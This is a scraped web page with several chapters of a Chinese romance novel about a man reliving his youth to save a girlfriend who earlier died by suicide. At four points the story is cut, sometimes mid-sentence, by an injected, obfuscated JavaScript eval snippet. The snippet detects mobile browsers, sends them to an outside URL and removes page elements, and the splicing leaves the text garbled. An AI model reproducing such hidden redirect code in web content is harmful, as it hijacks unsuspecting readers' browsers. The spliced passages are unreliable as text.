宋枝年也时常回忆,那些控制不住在意,控制不住想多一些交集的日子,那些有意无意的妥协和试探,究竟是因为什么。 他没喜欢过其他人,所以宋枝年也不知道,喜欢或不喜欢的要有怎样的动机才足够证明。 只是有种冥冥中的力量一直在指引他,要有这么个人一直在他身边,他的生命才会完整。 69. 2014.12.1 攒了挺久的钱用来修家里的热水器了,舅妈说我用之前还是好的,被我用完就坏了,我也不知道为什么。 洗了冷水澡感觉头有点晕。今天不熬夜写题了,眼睛要睁不开了。 2014.12.1 上一次吃冰糖葫芦是爸爸给我买的,是我第一次出省旅游,在北京。 糖葫芦真的很好吃。 宋枝年买的糖葫芦好像比北京的还要好吃。 21. 第二十一章 70. 姜可宁说自己适应能力差这一点没有错,并不是说她对生存环境的要求有多高,而是她很难在什么环境里开心地活着。 可能大部分人获得快乐的阈值在一个特定的范围,喝一杯热饮,获得一个拥抱,买一件衣服,接一个吻,这些都能获得快乐,但对姜可宁来说,也许全部加起来才能得到一点点的开心。 你要说她挑剔或钻牛角尖吗?这有些残忍,因为人这么活着是很痛苦的一件事。她其实比谁都想过得好,比谁都想得到幸福。 后来的很多次面对一些没有理由的坏情绪,她也会向枕边人吐露像溢出泡芙的奶油一样的委屈,小声地问宋枝年:“人为什么会过成我这样呢?” 71. 熟悉舒适的氛围也许能让她轻松一些,她对待一个新环境,向来都是以一种别扭的心态逼自己适应。 比方说大学时期,他们下一届的新生入学,原定的宿舍安排协调不出来,需要把没住满的宿舍填满,腾出多几间空宿舍给新生住。 姜可宁原本的室友全都拆到不满人的宿舍里,也就是,她一个人又要重新融入一个三人的小团体。 姜可宁后来开玩笑自嘲自己一件事,她刚搬进去的时候,睡觉时一翻身床板就会咯吱响,有些大声,她强忍着控制不翻身,但偶尔动一下还是会发出刺耳的声音,她说那晚她好像能听到舍友被吵醒的像是烦躁的叹气声。 隔天姜可宁打了维修电话,宿管阿姨拿着把锤头左敲敲右敲敲,修得很卖力态度也很热情。 但是躺上去,床板响得更严重了。姜可宁自己说:“你知道当时我想的是什么吗,我以后有房子了,一定要一个大大的房间,一张超级舒服的床垫,怎么动都不会响的那种。” 不敢麻烦热心肠的宿管阿姨第二次和不希望影响舍友的睡眠这两件事让她彻彻底底忽略自己睡觉的感受。 这也是姜可宁常做的事情,无止境的内耗让很多件看似平常的小事件件都是压在她心里的大山。 但是现在的她好像进步一些了,昨天姜可宁洗完澡出来,头发是湿的,她大概没有找到吹风机,发梢还在滴水。 放在以前,在不属于自己的陌生环境里,她的作风一定是等着头发自然风干,但她昨天主动走到正在研究厨房怎么用的宋枝年旁边,问了一句:“吹风机在哪里呀?” “等着,我帮你吹。”他说。 宋枝年当然也没放过这个机会,虽然说拯救老婆是主线任务,但是让老婆更喜欢他一点算是他的很大一部分私心。 人在爱情中是不可能做到无懈可击的,宋枝年很多次这样想,姜可宁可能没有想象中那么喜欢他爱他。 羁绊和牵挂不够深,所以她才这么舍得离开,不惜以永远不能见到宋枝年为代价。 72. 宋枝年:“吹风机在房间里,我去拿。” 姜可宁用手攥着发尾,不让水滴到地上,眼睛睁得圆圆的,点了点头。 宋枝年其实不太清楚吹风机的具体位置在哪,只是有个印象是在房间里,所以他本意是自己去房间里找出来拿给她,但是姜可宁就一步一步跟着他进来了。 宋枝年打开床头的抽屉,没有,他眨了眨眼,然后看向姜可宁,希望她反应迟钝一些,不要发现他其实对这个房子不熟悉。 他又走到梳妆台旁边的柜子翻找,姜可宁又跟过来,就站在他身边一米处,不近不远,一个堪堪能感受到她在你身边的距离。 宋枝年脑中有一根神经触动了一下,他想起有次姜可宁生病,病毒性感冒,在家里发着烧,喉咙疼得吃不下东西宋枝年就给她煮粥。 在厨房忙前忙后进进出出的时候,她就非得跟在旁边,额头上贴着一个退热贴,双颊因为发烧还有点不正常的血色,穿着毛茸茸的睡衣就一直在宋枝年背后探头探脑地走来走去,跟不是病人一样。 宋枝年当时让她去床上躺着,她就装作听不见,傻傻在那里站着,走哪跟哪,宋枝年差点把她扛起来带回房间。 那天晚上宋枝年才意识到,好像是因为三天后他有一个外派到西班牙半个月的工作,所以姜可宁是有点分离焦虑。 好像只有在这些特定的时候,她的情绪才会通过下意识的行为表达出来,不舍、依赖、粘人,这些会暴露出不坚强的情绪,因为很喜欢宋枝年也再顾不上内心深处保护自己的本能向外界吐露出来。 这一次的宋枝年比从前的他更了解面前这个人。 他歪了歪头,回头看她,“姜可宁,你是不是在想,等会儿我就走了。” 姜可宁果然愣了一瞬,然后低下头,手还捏着湿发尾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010151|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋枝年从柜子里面拿出风筒,解开缠绕着的电线,很快插上电。 姜可宁也松了松手,被她一直攥着的发尾垂下来。“你……等会儿,不回家吗?”她问。 宋枝年开了风筒,调了热风那一档,沙沙的声音伴着热乎劲,好像把空间开阔的屋子变得逼仄起来,就像一个双黄的莲蓉月饼多塞了一颗蛋黄。 宋枝年拨开她的头发,用风筒慢慢吹顺吹干,手指时不时碰到她的脖子,有些发烫。 “姜可宁,你在赶我走吗。”宋枝年笑了一声。 他站在姜可宁身后,风筒的声音盖过一点说话声,温度可能有些高,或者是宋枝年在她耳侧的地方停留太久,姜可宁侧了侧头,捏了一下自己的耳朵。 宋枝年不知道她知不知道,自己紧张的时候就会摸耳朵。 “怎么…怎么可能啊。”她说。 “那你想我留下来吗?我可以听你的。”宋枝年怎么可能留她一个人住在陌生的房子里?但他还是要问。 宋枝年想知道,如果把主动权交在她手里,她会不会也愿意早一些走近他呢。 如果姜可宁很早就知道,宋枝年是个怎样的人,那她还会像朦胧时期,因为一些不那么真实的原因、不那么确切的表象、甚至是他塑造出来的给外人看的人设,暗恋他喜欢他很久直到大学两人相遇吗? 没有人能一直习惯疏离的言语和逃避的语气。他也很想听“我很舍不得你”“我很想你”“我特别喜欢你”这些话。又有谁不希望被坚定地选择。 手放在一个地方太久,吹风机还在不停歇地吹出热风。 姜可宁耸了一点肩膀,但是没有挪开自己的头,小声说了一句:“烫。” 宋枝年顿了顿,然后马上换了地方,“对不起啊,在注意听你要说什么,刚刚那样容易听不清楚。” 姜可宁从他手里接过了那个有点沉的风筒,宋枝年注意了一下,是妈妈常用的小家电牌子,老爸还挺细心的,配备的电器都按老妈的喜好来。 宋枝年走了一下神。因为在想从前实现经济自由之后的姜可宁比较有好感的牌子都有哪些。 姜可宁把吹风机关了,还没有特别多生活气息的屋子瞬间安静下来。 他听见姜可宁点了点头,盯着自己的脚尖说了一声:“嗯。” 22. 第二十二章 73. 往后两天宋枝年跟最近的平常一样,早上载姜可宁去上学,下晚自习带她回家。 不同的是,晚上宋枝年会去敲她的房间,问一句“姜可宁,明天想吃什么早餐”,睡前会再去一次,说一句“姜可宁,睡觉了。” 两人的相处方式并没有发生什么很大的变化,感觉也并不是同居,更像搭伙在一个能睡觉的自习室过日子。 但也多了很多细节,比如她坐宋枝年自行车后座的时候,手不再只是怯怯地抓着风衣下摆,而是松松地环住他的腰;比如宋枝年有时回家带东西再回来的时候,一按门铃几乎都是秒开门。 再比如刚刚,姜可宁在房间里学习,宋枝年回家里装了阿姨煮的银耳羹回来给她喝,热完了发现她又在书桌旁边趴着睡过去了。 宋枝年帮她摘了眼镜,不受控制地盯着看了一会儿,在想是要叫醒她还是直接抱到床上关灯让她睡觉。 可是姜可宁不完成一天自己制定的学习任务会焦虑,宋枝年心里又开始泛酸,想起从前的一件事,姜可宁初中的时候,生物这个科目学得不好,她说自己都快把知识点倒背如流了,还是选不出正确答案,她又是那种相信努力就会有结果的人,找了老师问了许多问题。她说,后面有一次,她问老师问题的时候,顺带着咨询了一下有没有什么好的学习方法。 那老师可能觉得她是死读书的孩子,全身上下又被阴翳遮蔽,没有大部分人喜欢的那种阳光开朗的气质,就跟她说:“有时候,不是努力就能懂的,可能你理解能力不行吧。” 姜可宁跟宋枝年说,从那之后她基本没有再找人问过问题,自己一个人死命地学,一次不懂就做第二次,没有思路就从头开始学,一份卷子她最多能反复做五六遍直至正确率是百分百。 她说起自己的事情的时候从来就是叙事的语气和表达,导致宋枝年曾经很多次被她坦荡的大方的心态所迷惑,以为真的如她所说,这些只是她成长路上的垫脚石。殊不知,这些深深浅浅的、被过路人有意无意划过的一刀,就像一块块往寂静的湖泊里扔进的石头,激起一阵波澜后看似无事发生,但是随着日积月累,慢慢地干涸了旁支本就不够丰富的小湖。 宋枝年碰了碰姜可宁的睫毛,她睡得不深,也不安心,眉头微微皱起,宋枝年用手指轻轻抚了抚,还是没有舒展开。 她好像在做梦,嘴巴微张着,有点苍白的嘴唇颤动了一下,好像想说什么话。 突然,她搭在卷子上的手像得到某种潜意识的指令,像是梦中出现了困境,急需抓住什么让她感到安全的东西。 姜可宁攥住了他的手腕,迷迷糊糊地说了两句,“别走,别走可以吗?”然后又脱力地松了手,又睡着了。 宋枝年没挣开她,没舍得从她手里挣开,别扭地保持着被她没用力抓着的姿势。感觉像是回到了上辈子,恍惚间模糊了所有的回忆,这才是真的,从前的是假的;这是现实,从前的才是梦。 “宝宝,宋枝年是不会走的。”他自顾自地回答了,尽管她好像并没有听见。 74. 第二天姜可宁起得很早,在宋枝年把早餐带上来之前就洗漱好收拾完书包安安静静坐在沙发上了。 姜可宁抿了抿唇,神色又显犹豫,就在宋枝年猜测是不是昨天晚上她还有些记忆,正担心自己在他面前说错话。 他想开口为她解释,没关系,她什么都没说就是睡着了而已。 姜可宁的嘴巴张了张,再次欲言又止,一副下了天大决心的模样。 “宋枝年…” “嗯。”宋枝年也不知道自己在紧张些什么,好像她说每句话,每一次叫他的名字,都能很轻易让宋枝年的情绪上升一个高度。 “我们…一起考同一所大学吧。”姜可宁说。语气是宋枝年后来在听到她说“宋枝年,小姜主管会包养你的”那种坚定又冒着傻气的感觉。 “行啊。”宋枝年装作很轻松很随意地应下这个邀约,应下这个代表着未来二字的邀约。 宋枝年也不知道是什么让她突然说出这样的话,像是郑重地给出承诺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020263|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来十七岁的姜可宁生命力真的比后来的她旺盛许多,在一起的那几年,她从来没在清醒的时候说过像其他谈恋爱的人会说的类似“我们一辈子在一块儿”“以后年年都这么过”“我永远不会离开你”这种话。 她不说,宋枝年也不说,但两人的出发点不一样,姜可宁认为两人必定会有分手的一天,或者认为她并不会在这个世上生活很久,而宋枝年只是出于不在不够成熟时做出如此重大的承诺这样在他现在看来矫情的习惯。 如果连承诺都没有信心给出,凭什么要求人家去相信真的会跟你有多美好的以后。如果宋枝年当时也跟她说很多遍,我们能好一辈子,以后我们会一直一直在一起,我永远不会离开你,有没有可能,她就不会死呢? 但是,这对于姜可宁来说大概不适用,实诚的人在感情上也不容许虚假,她只是善于隐瞒,并不善于撒谎,所以并不屑于给出当时已经很爱她的宋枝年这种承诺,因为她是从心里否定了爱情的长久和忠贞,也否定了被爱能让她开心起来的可能。就像是放进现实里的童话,失去了成立的条件,灰姑娘就算穿上了水晶鞋也只能淹没在茫茫人海中。 宋枝年曾经认为童话中永远会获得美好结局的爱情故事幼稚得要命,但这一刻,他又在祷告,祈求老天在姜可宁身上加上主角光环,让她不管历经千辛万苦,最终都能有完美的结局。千万千万。 76. 姜可宁:“你明天早上要吃什么啊?” 宋枝年:“都可以,看你吃什么,我跟你一样就好。” 姜可宁:“你说一个嘛。” 宋枝年:“杏仁露,红豆糕,还有核桃包吧。” 姜可宁:“……你不是不爱吃甜的吗?” 宋枝年:“还行,但你喜欢啊。” 姜可宁:“……” 宋枝年:“怎么啊,你不允许别人因为喜欢你所以想尝试你爱吃的东西吗?” 姜可宁:“没有……你怎么总说这种话啊?” 宋枝年:“因为想让你当真啊。” 23. 第二十三章 77. 阳光也披上冷气,照到身上只有微乎其微的温度,时间滴滴答答迈进冬天。 天冷起来之后,姜可宁的头痛病有点要发作的预兆,头痛病在未来会成为她痛苦的一部分原因,身体上的疼痛虽不及精神上的消磨,但终究是会有影响。 姜可宁对自己的身体并不上心,吃饭也随意糊弄,小病小痛都是能忍则忍,这跟她后来心理出问题的反应一样,闭口不谈,硬着头皮挑战自己的自愈能力。 这种想偷偷摸摸解决所有事情的心态源于深深的不安全感,暴露自己的软弱在她心里也许只会得到更大的伤害。 自从父母去世后,姜可宁就像一只一年四季除了冬眠都会囤积松果的小松鼠,找到了就往嘴里塞,但是每天只吃刚好能维持生命的数量,就在快要入冬,小松鼠想着自己收集的一大堆松果,放心地认为自己也能安安稳稳度过冬天,某天按照惯例出门找松果的时候,脚一滑,摔了一跤,磕到了脸,身上沾满了冰冷的雪碴子,一颗颗松果从塞得鼓鼓的双颊中掉下来,噼里啪啦裹着雪掉进深不见底的山崖。 小松鼠趴在悬崖边看了很久,不知所措。一边后悔昨天多吃了一个松果,一边懊恼为什么就要那么不小心摔一跤,又一边马不停蹄寻找新松果。 那天下晚自习,姜可宁罕见地靠了靠宋枝年的背,起初宋枝年还沾沾自喜,骑车的速度都放慢一些。 到家的时候才发现她不太对劲,姜可宁没有立刻下车,比平时迟钝了一些,宋枝年问她怎么了,她就晃了晃脑袋想把头晕和头疼晃走。 这个动作特别熟悉,宋枝年一下就记起她坐在电脑桌前一边敲键盘,一边晃脑袋,过一会儿还没缓解就跑到阳台抽烟的那些日子。 宋枝年用手背探了探她额头的温度怕是感冒了,“怎么了,头疼吗?” 姜可宁好像总是因为宋枝年的敏锐而感到惊讶,惊讶于这个人怎么能一直猜对她在想什么,猜对她怎么了。 就是这种像魔法一样的宋枝年的直觉,让姜可宁觉得应该骗不过他,为了不被他再当面拆穿自己,她点了点头说:“有一点点。” 宋枝年有些着急,一切让他猛然回忆起姜可宁生病那段日子的情景都让他非常不安,就像睡梦中在你周围响起的闹钟,左摸右摸不知道在哪里,铃声越来越大,由远及近,舒缓的音乐也变得刺耳,催促你快点从梦中醒来。 “一点点是多少,很难受吗,阵痛还是跳痛?”宋枝年的手不受控就捏了捏姜可宁薄薄的肩膀。 姜可宁也许不太理解,头痛又不是什么罕见的毛病,以前时不时也会有的,为什么要这么紧张,好像是一件天大的事。 她笑了笑,像是安抚一样,“真的只有一点点而已,没事的。” “一点点也是不舒服,以后就是冷了热了哪里难受了,都要告诉我,不可以自己忍着。”宋枝年的表情有些严肃。 生病的小孩会得到平时没有的包容和照顾,姜可宁很久没有过这种感觉了,好像可以骄纵地提出某些以前不敢提的要求,好像可以讲一些平时没机会讲的话。 姜可宁也放低了一直以来高高竖起的屏障,把自己打开了一些,挽住了宋枝年的手臂:“嗯嗯,以后都告诉你,我们上去吧,好冷呀。” 78. 宋枝年:“喂,妈,你上次看的那个中医,联系方式发给我一下。” 李晓樱:“出什么事了?” 宋枝年:“没事,小问题。” 宋枝年:“诶,妈,林医生那个诊所晚上开门吗?” 李晓樱:“你疯了?哪家诊所给你开到晚上十一点。” 宋枝年:“行吧,我明天再去。” 宋枝年:“妈,你顺便帮我问问家里的阿姨,偶尔头痛有没有什么合适的药膳之类的。” 宋枝年:“我记得姜可宁好像不喜欢喝苦的,中药她估计喝不惯。” 李晓樱:“什么时候你也能这么孝顺我,我就死而无憾了。” 宋枝年:“您在讲什么胡说八道的话。” 79. 上大学的时候,姜可宁的性格比现在还要安静许多,因为参与了她的好几个阶段,以不同的身份待在她身边,宋枝年有幸认识了很多个姜可宁。 当时有一回,也是一个饭局,美其名曰大创项目的研讨会,因为有一些领导和业界大牛要来拍照放到公众号上称场面,院系的老师要求所有参与项目的同学都要来充人头。 姜可宁也被叫过来了,宋枝年那会儿跟她还没在一起,也还没发生后面变得熟悉那些事,不过恰好被分到了同一张桌子,宋枝年就主动地坐到她旁边。 上大学的人坐下来无非就聊那些事,“毕业了升学还是工作”“留在本地还是回家发展”“考研考不考本专业,跨考有什么最新资讯”“考公选岗有什么竞争小的”“大家有什么认识的hr推荐一下”等等。 宋枝年当时听得有点心不在焉,只注意到旁边的姜可宁一言不发,但一个劲儿地拿杯子嘬饮玉米汁,刚搁下一会儿就拿起来放在嘴边,过了一会儿又拿起筷子,什么都没夹到又放下了,整个人动作有点乱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024329|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋枝年就想逗逗她,跟她说说话,不刻意地侧了点身子,顺着饭桌上的话题,问了她:“你是不是准备保研啊?” 当年学校里每个年级有三五个保研的名额,按照姜可宁的绩点是稳稳有的。而当时宋枝年不够了解她,印象中她是对学习特别上心的那种人,在大学里认真读书的人并不占多数,宋枝年就刻板印象地认为她应该是要升学。 在他们学校,升学的很大一部分是申请出国,比起卷进考研大流申请出国是经济条件还可以的人更有性价比的选择。 在姜可宁思考要怎么回答他的这几秒钟时间,饭桌上的话题已经从升不升学跳到了“去美国读书好像不太安全”。 “我不想继续念了,赚学费有点累。”姜可宁很坦荡地就说出这句话,跟那天在咖啡厅里偶遇宋枝年一样坦荡。 她的大方反而让宋枝年因为想转移话题的念头有些奇怪的内疚。 他很久没有说话,是姜可宁主动再开的口,“你应该会出国吧,我听说去欧洲读书会生活得比较舒服。” 她的语气中好像也有一些微妙的伤感和羡慕,宋枝年总是从她这个人身上读出这些像绵绵雨一样堆积在云上,又找机会偷偷掉下来的情绪。 很冒昧又真的是出自真心地,宋枝年当时有些忘记了自己熟知的社交礼仪和边界感,对着正在转杯子的姜可宁说了一句没喝酒的醉话:“你要是还想念书的话,其实我可以帮你。” 说完他立刻后悔了,眼睛都不敢看她,他应该懂这种女孩子的自尊心的,但是他就是没过脑地说出口了,好像非常不想在她眼里那么频繁地看出羡慕别人的情绪,也好像真的很想参与她的未来似的。 姜可宁好像没什么特别的反应,愣怔了几秒,又拿起喝了一半的玉米汁,放到嘴边但没有喝。 “你在讲什么胡说八道的话呀。”她有些小声略带笑意地说,像是自嘲。语气中一点都不相信宋枝年刚刚所说是发自情怯的真心。 80. 2014.12.5 今天有点感冒,总是流鼻涕、头疼,用家里的纸巾比较多。舅妈有点不高兴,说我生病了就不要总是待在家,等会儿传染给家里人。 以后生病我不要让他们知道了。 2014.12.5 本来真的就只有一点点头晕,应该是晚上教室里的窗开得有点大,不是故意让宋枝年担心我的,真的不严重,不过真的谢谢宋枝年的担心。已经没多少人这么担心我了。 以后我哪里不舒服了,会听宋枝年的话,先跟他讲的。 24. 第二十四章 81. 重回十八岁之后的宋枝年,每天晚上都会想起许多以前在一起的细节,每天都会多出一些后悔和遗憾。 即便现在遇到了十七岁的姜可宁,宋枝年仍然为另一个时空中永远停留在二十六岁的她感到难过。 姜可宁工作之后也没有很顺,应该说她的人生其实没几件真正顺利的事情,每一个阶段都要付出巨大的努力和代价才能得到还算过得去的结果,就连爱情都是,高中时期暗恋了两年的酸楚跨越了很多岁月才被知道。 曾经有一次,她刚进公司不久,同组的人看出她是个活再多都不会有怨言的人,在月中的时候把很多本来不用她跑的杂活丢给她,偏偏又是一些听起来简单,实际操作特别麻烦又要花人情的事情。 姜可宁最后因为文件要盖的一个公章跑了很多个地方都被踢皮球,迟迟解决不了,那天她给宋枝年发信息说要在公司加班。 宋枝年买了晚餐到她公司楼下,准备上去陪她,在电梯里的时候,遇到她的同事,当时宋枝年还不知道是她的同事。是几个女孩子,看起来跟姜可宁差不多年纪。 有一个像没骨头似的倚在有按键的电梯壁上,双手抱在胸前,有一搭没一搭地跟旁边的人聊同事的八卦,语气很颓丧用词又很夸张,听起来有点矫揉造作的累意。宋枝年只知道姜可宁工作到很累的时候,连一句话都不愿意多说,只会靠着他闭上眼睛。 “诶,别说这些了,你那个文件搞定了没啊?明天主管就要了。”后面一个女生问了一句。 “没啊,根本搞不定的,公章在负责人手里,那个负责人出国旅行了,公司现在没人在管。” “哎,不过都是小事,那份文件就算交上去了后面也没用的,我交给小姜了,让主管明天找她要。” “反正她新来的,有新手保护期,犯点错被骂几句也不会怎样。” 宋枝年从说到公章两个字就大概清楚了。按道理他并不想跟女生起什么冲突,也不想不经同意插手姜可宁可以自己处理好的同事关系。 但不代表他要眼睁睁地做旁观者,男朋友是谈来干什么的,当然是对付老婆讨厌的人,帮老婆出气,给老婆撑腰的。 宋枝年刚刚按过电梯楼层了,但还是对倚着电梯门的那位说:“不好意思,我想按一下二十一层。” “二十一楼。是我们部门啊。帅哥,以前怎么没见过你。” 宋枝年礼貌性地笑了笑,解释道:“我不在这工作,我来等女朋友的,她今天加班。” 宋枝年的语气也带有迷惑性,爽朗随意,营造出像是故意让别人往下问的聊天氛围。 “我们部门……谁啊,我怎么没在朋友圈刷到过你啊,没官宣过吗?” 宋枝年笑了一下,回了一下头,看了一眼算计姜可宁的那个女生,“嗯,可宁不太喜欢发朋友圈。”他说。 这话一说,电梯内瞬间安静了,几个女生面面相觑用嘴型说了一些什么,又干笑了几下。“哦,确实是。” 宋枝年朝她们点了点头,又补上一句,“我们家小姜对工作是比较上心,我怕她忙得吃不上饭,正好她说有件事一直办不下来,我顺道来帮她解决一下。” “哦,她这个人可能比较轴,又不懂得拒绝,麻烦多多关照一下了。”宋枝年像是真的发自内心地说,但在场都听得出来他不太高兴。 那段时间姜可宁每天都像打了鸡血一样工作,每一页ppt都会改得很美观才交上去,心情好像也不错,以至于宋枝年又被她骗过去,以为她在公司很好,同事也对她很好。 转念一想,她有被很好地对待过吗,有时宋枝年感觉她的人生算得上是困难模式,遇上的人又有很多极品,往她本就崎岖的成长道路添油加醋,搞得坑洼不平,行走艰难。可偏偏她还是相信这个世界上好人居多,还是愿意相信大部分人说的是实话。 被糊弄着长大的人在用最真诚的态度面对一切。 宋枝年担心她在公司里没什么心眼,被别人利用,自己吃亏,帮她解决好公章的事情之后,边给她打开餐盒盖子边说:“以后这种坑,就不要答应了。” 姜可宁就很傻气地说:“知道啦!”笑得好像刚刚急得饭都没心思吃的人不是自己。 宋枝年捏了捏她的鼻尖,“我怎么觉得你这个小傻瓜还是不知道呢?” 姜可宁抿了抿唇,像是开始真正思考,然后她说:“可是,我连杂活都干不好,领导更不会给我派正经的活了。” 宋枝年听得又心疼又气,“但是你要懂得分辨啊,就像今天这事,明显就是拖你上去背锅的。” 姜可宁好像不太愿意继续这个话题,不知道是不是不愿意相信别人没她想象中善良,只是点了点头。 过了一会儿又开口,“可是,偶尔帮一点忙,她们会时不时跟我说话聊天,我还挺喜欢的,这样在公司就没那么安静了。” 82. 这天,宋枝年下晚自习去找姜可宁一起回家,没在教室里找到她。 问了后排一圈都不知道她跑去哪。热闹的教室里像是蒙上了虚焦,没有了想找的人,一切都是模糊的。 宋枝年偶尔也觉得自己很病态,好像她一脱离控制宋枝年也会跟着有些失控。 他找了厕所,下了两层楼梯,终于在拐角处看见一个小小的身影。 披着的头发遮住了她的脸,她又站在走廊的角落,身体一侧贴着墙壁,好像这样能获得更多的安全感,宋枝年叹出一口气,然后脚步放轻走过去。 他看见姜可宁手上有个发光的东西,视线也停留在上面根本没注意旁边有没有人,眼镜上的反光让宋枝年看出来是个手机。 小姑娘跑出来偷玩手机??< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033189|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我们小姜在干嘛呢?”宋枝年站在她侧边,有些突然地问。 姜可宁没有被吓到,而是呆滞地侧过一点脸,紧接着用手在眼睛下面抹了两把,宋枝年听见她很小声地吸了一下鼻子。 不对。 宋枝年反应了一瞬。今天是六号。姜可宁父母车祸去世的时间。 “没事,我们走吧,下课了。”她转过来说,眼神平视着宋枝年的脖子,声音带着不仔细听就听不出来的鼻音。 宋枝年没有说话,抬手抱住了她,把姜可宁拥进怀里,像抱住一块冰。 是他又忘记了,姜可宁后来每年这个时候都会拿旧手机给去世的父母发一条短信,一开始宋枝年不知道,很久很久之后偶然发现的。 宋枝年记得那个晚上,姜可宁第一次跟他详细地说起来父母去世的那场车祸。 宋枝年把她抱在怀里揉着她的手心认真地听。她像是从久远的时间中调出清晰的封存很久的回忆。 姜可宁手指动了动,然后说:“那天,其实我爸妈可以不用出门的。” 宋枝年的心像是有一条细线轻轻扯着,嗯了一声。 “我当时有一个作文比赛,要做火车到隔壁市,时间有点紧,我就说算了,因为有点来不及去买车票。”她一顿一顿地叙述,话语之间好像停留在很久的从前。 “爸妈就说来得及,火车站离家里很近,因为当时还没办法在手机上买票嘛,他们就出门了,我没拦着,因为我有点想去参加那个比赛。”说到这里,她的声音低下来,像是一只犯了大错的小动物。 宋枝年在心里叹了一口气,忍住情绪,拍拍她的背,重复地说:“宝宝,不是你的错。” 姜可宁就回头看看他,眼尾很红,她说:“以前我妈妈也总叫我宝宝。” “我以后天天这么叫你。”宋枝年不知道怎么安慰她,说不出没事的这种话,只能更紧地抱住她,亲了亲她的头顶。 姜可宁沉浸在回忆里,又像是撕开一个内心深处的小口,“以前我都会跟他们一块出门,但是那次我没有,因为想看完剩下半集的动画片。”她哽咽地说,随即陷入深深的内疚和后悔。 那天是宋枝年很罕见地听她提起有关父母去世的事情,当时他认为说出来了,总比一直憋在心里要好,时间能抹平一切,以后慢慢会好的。 但是一周后,姜可宁从家里的阳台上跳了下去。 彻底带走了宋枝年想办法安慰她治愈她的时间。 宋枝年愣怔了很久,没发现自己抱她抱得很紧。 姜可宁被箍得有点难受,在他怀里动了动,“宋枝年?” 楼下的学生成群结队走出滚动着“崇仁厚德,自强不息”红色字样的校门,夜风拂过排排站立的梧桐树,几片叶子摇曳而下落在孔子像旁边。 “宝宝。”宋枝年在她耳旁说。 25. 第二十五章 83. 这天,宋枝年的山地车被朋友借走,说是妹妹发高烧,家里没人,要他赶紧帮忙送到医院去吊水,人命关天的事,宋枝年没拒绝,让他赶紧开走。 但这样就没办法骑车带姜可宁回家了,他突然想起一件事,晚自习还没开始的时候,宋枝年到九班教室,掏出写好的纸条,揉成一个小团,轻轻一抛,小纸团翻越栏杆,搅乱白炽灯下细细密密的灰尘粒,掉到姜可宁书桌上。 姜可宁曾经还收藏过一条博客,里面用照片的形式记录了帖主学生时期跟好朋友互相在课上扔来扔去的小纸条,有些的墨水已经晕开看不出字迹,有些被浸过水纸张已经变硬泛黄,有些因为小纸条的折痕太深已经有点破裂。 姜可宁很经常看这个帖子,因为帖主好像有更新不完的小纸条,能看出那个人上学的时候应该人缘很好,而且善于打破规则。因为小纸条的内容有很多都有“走不走”“逃不逃”“今天老吴没在,跑吗?”,还有很多类似于“午饭吃什么”“东门去不去”“我好困呀”“听说一班篮球队有很多帅哥,等会儿去不去”“那人也太贱了吧,中央空调”“学不会数学怎么办?”这样的讨论。 简单的字句藏着鲜活的青春时光,是姜可宁所羡慕但未曾拥有的别人恣意张扬、松弛随性的被浓烈感情包围着的学生时期。 宋枝年见过她对着这个帖子傻笑的模样,感觉比对他还要有兴趣,当时就问她,“小纸条而已,有那么有趣吗?” 姜可宁立刻点头,然后又安静了一下,“挺有意思的啊,我就没有收过这种小纸条,一张都没有。”她当时是笑着说的,语气坦然,像是在古玩店看到一件稀奇的藏品,有点想伸手摸一摸是什么质感,却被店员严肃地拦下,告知她不能触碰,她便无奈地道歉,事后自嘲地回味当时的尴尬。 事实上,姜可宁对自己的人生也很包容,她能平和地接受自己上学时的穷苦,说出不想念书因为赚学费很累;她能不带悲伤地接受自己有些孤独,坦白自己上学的时候确实没有什么朋友。就像是站在第三视角的审视者,游离于自己的人生轨迹之外,但个中冷暖却只有自己知道。小骗子擅长伪装,只可惜最终也骗不过自己。 宋枝年没办法改变风的方向,只能调整自己的帆,让小船抵达不那么寒冷的地方。 84. 姜可宁吓了一跳,第一反应不是打开纸团看里面的内容,而是下意识把视线挪到后门找宋枝年有没有在那里。 